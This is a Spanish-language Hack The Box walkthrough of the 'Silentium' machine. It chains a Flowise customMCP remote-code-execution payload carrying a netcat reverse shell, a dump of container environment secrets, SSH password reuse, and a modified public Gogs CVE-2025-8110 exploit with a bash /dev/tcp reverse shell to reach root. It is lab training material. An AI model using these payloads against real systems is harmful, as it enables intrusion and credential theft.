Enumeración
Comenzamos la fase de reconocimiento verificando la conectividad. El TTL=63 del paquete ICMP nos indica de inmediato que la máquina objetivo opera bajo un sistema Linux. Nuestro escaneo inicial de Nmap reveló los puertos clásicos 22 (SSH) y 80 (HTTP). Al explorar la web, identificamos el dominio silentium.htb. Sabiendo que los servidores web suelen ocultar más información, utilizamos Gobuster para realizar una enumeración de subdominios virtuales (VHost) basada en diccionario, lo que nos permitió descubrir el entorno de pruebas staging.silentium.htb, abriendo una nueva superficie de ataque.
# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=63 que confirma un sistema Linux
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ ping -c 1 10.129.25.212
PING 10.129.25.212 (10.129.25.212) 56(84) bytes of data.
64 bytes from 10.129.25.212: icmp_seq=1 ttl=63 time=110 ms
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ nmap -p- -n -sS -Pn --min-rate=5000 10.129.25.212 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Añadir el dominio principal al archivo hosts local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ echo "10.129.25.212 silentium.htb" | sudo tee -a /etc/hosts
10.129.25.212 silentium.htb
# [-p22,80] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ nmap -p22,80 -sCV --min-rate=5000 silentium.htb -oN nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Whatweb nos ayuda a identificar las tecnologías, frameworks y cabeceras del servidor web
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ whatweb http://silentium.htb
http://silentium.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.129.25.212], Script, Title[Silentium | Institutional Capital & Lending Solutions], nginx[1.24.0]
# [vhost] Modo de enumeración de Virtual Hosts (Subdominios)
# [-u] URL objetivo
# [-w] Ruta al diccionario de palabras (wordlist)
# [--append-domain] Añadir el dominio base a cada palabra del diccionario
# [--exclude-length 8753] Ocultar respuestas con este tamaño de bytes (para filtrar falsos positivos de páginas por defecto)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ gobuster vhost -u http://silentium.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --exclude-length 8753
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
===============================================================
# Añadimos el subdominio encontrado a nuestro archivo de hosts
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ echo "10.129.25.212 staging.silentium.htb" | sudo tee -a /etc/hosts
10.129.25.212 staging.silentium.htb
Explotación
Al visitar el subdominio staging, descubrimos una instancia de Flowise (Plataforma para construir agentes de IA). Analizando las peticiones de autenticación con Burp Suite, descubrimos una vulnerabilidad en el manejo de consultas JSON de la API. Inyectando operadores como {"$ne":null} logramos manipular el flujo, pero el hallazgo clave ocurrió en el endpoint de recuperación de contraseñas /forgot-password. Al enviar una petición para el usuario ben@silentium.htb, la API expuso información crítica en la respuesta, filtrando un token temporal válido.


Adicionalmente, esta versión de Flowise sufre de una vulnerabilidad de Ejecución Remota de Código a través del endpoint customMCP. Lanzamos un payload usando curl para obligar al servidor a ejecutar un binario de Netcat, obteniendo una reverse shell en un contenedor Docker. Desde ahí, al inspeccionar las variables de entorno, filtramos las credenciales SMTP que reutilizamos exitosamente para conectarnos vía SSH a la máquina host.
# [-X] Especificar el método HTTP (POST en este caso)
# [-H] Añadir cabeceras personalizadas (Autorización y Tipo de contenido)
# [-d] Enviar datos en el cuerpo de la petición (El payload JSON malicioso)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/silentium]
└─$ curl -X POST "http://staging.silentium.htb/api/v1/node-load-method/customMCP" \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-H "Content-Type: application/json" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.174 4444 >/tmp/f\");return 1;})()})"
}
}'
# [-l] Modo escucha (Listen)
# [-v] Modo verboso (Verbose)
# [-n] No resolver DNS
# [-p] Puerto local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ nc -lvnp 4444
connect to [10.10.15.174] from (UNKNOWN) [10.129.25.212] 35193
/# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/# whoami
root
/# cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory'
/# ls -la /root
total 16
drwx------ 1 root root 4096 Apr 8 09:41 .
drwxr-xr-x 1 root root 4096 Apr 8 15:14 ..
-rw------- 1 root root 9 Jan 29 21:22 .ash_history
drwxr-xr-x 3 root root 4096 Apr 15 12:14 .flowise
/# history
# Una vez dentro del contenedor Docker, listamos los procesos y variables de entorno buscando credenciales quemadas en el código
/# env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
# Probamos reutilizar la contraseña encontrada en las variables de entorno para acceder por SSH
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ ssh ben@silentium.htb
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
ben@silentium:~$ cat ~/user.txt
1b*****************************30
Escalada de Privilegios
Una vez con acceso de bajo privilegio como el usuario ben, enumeramos las conexiones y servicios internos de la máquina. Identificamos varios puertos a la escucha en localhost, siendo el puerto 3001 el más llamativo. Para investigar qué corría allí, utilizamos Local Port Forwarding a través de SSH, trayendo ese puerto interno a nuestra máquina local.
Descubrimos que el puerto 3001 alojaba una instancia de Gogs (Servicio de repositorios Git). Investigando vulnerabilidades para este servicio, encontramos el reciente CVE-2025-8110, un RCE autenticado. Tras registrar manualmente un usuario de prueba en el portal web de Gogs, modificamos un exploit público en Python con nuestras nuevas credenciales e inyectamos un payload de Bash. Al ejecutarlo, recibimos la conexión inversa en nuestro puerto local, otorgándonos control total como root.

# [-t] Mostrar conexiones TCP
# [-u] Mostrar conexiones UDP
# [-l] Mostrar solo sockets a la escucha (Listening)
# [-n] No resolver nombres de host (mostrar IPs numéricas)
# [-p] Mostrar el proceso asociado al puerto
ben@silentium:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:45337 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:1025 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8025 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
ben@silentium:~$ exit
# [-L] Port Forwarding Local. Sintaxis: puerto_local:host_destino:puerto_destino
# Esto mapea el puerto 3001 del servidor remoto a nuestro puerto 3001 de la máquina atacante
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ ssh -L 3001:localhost:3001 ben@silentium.htb
# Añadir el subdominio al archivo hosts local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ echo "10.129.25.212 staging-v2-code.dev.silentium.htb" | sudo tee -a /etc/hosts
10.129.25.212 staging-v2-code.dev.silentium.htb
# Descargar el exploit público (CVE-2025-8110) a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ wget https://raw.githubusercontent.com/zAbuQasem/gogs-CVE-2025-8110/refs/heads/main/CVE-2025-8110.py
# Descargar el exploit público (CVE-2025-8110) a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ nano CVE-2025-8110.py
Recuerda cambiar el username, password con las credenciales del usuario creado previamente y comentar el llamado a register() en main():
...
...
...
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-lh", "--host", required=True, help="Attacker host")
parser.add_argument("-lp", "--port", required=True, help="Attacker port")
parser.add_argument("-x", "--proxy", action="store_true", help="Use proxy")
args = parser.parse_args()
session = requests.Session()
if args.proxy:
session.proxies.update(proxies)
session.verify = False
username = "test" # -> Colocar el usuario que acabamos de crear
password = "LaVaca1234!" # -> Colocar la contraseña
command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
try:
# register(session, args.url, username, password) -> Comentar esta linea
...
...
...
# [-u] URL base del servicio Gogs (ahora en nuestro localhost)
# [-lh] Local Host (Nuestra IP atacante VPN)
# [-lp] Local Port (El puerto de nuestro netcat)
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ python3 CVE-2025-8110.py -u http://localhost:3001/ -lh 10.10.15.174 -lp 8888
[+] Authenticated successfully
[+] Application token: fea48970ef394369c7111393ea73be13cbfdb463
[+] Exploit sent, check your listener!
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.15.174] from (UNKNOWN) [10.129.25.212] 36456
root@silentium:~# id
uid=0(root) gid=0(root) groups=0(root)
root@silentium:~# cat /root/root.txt
ea*****************************8c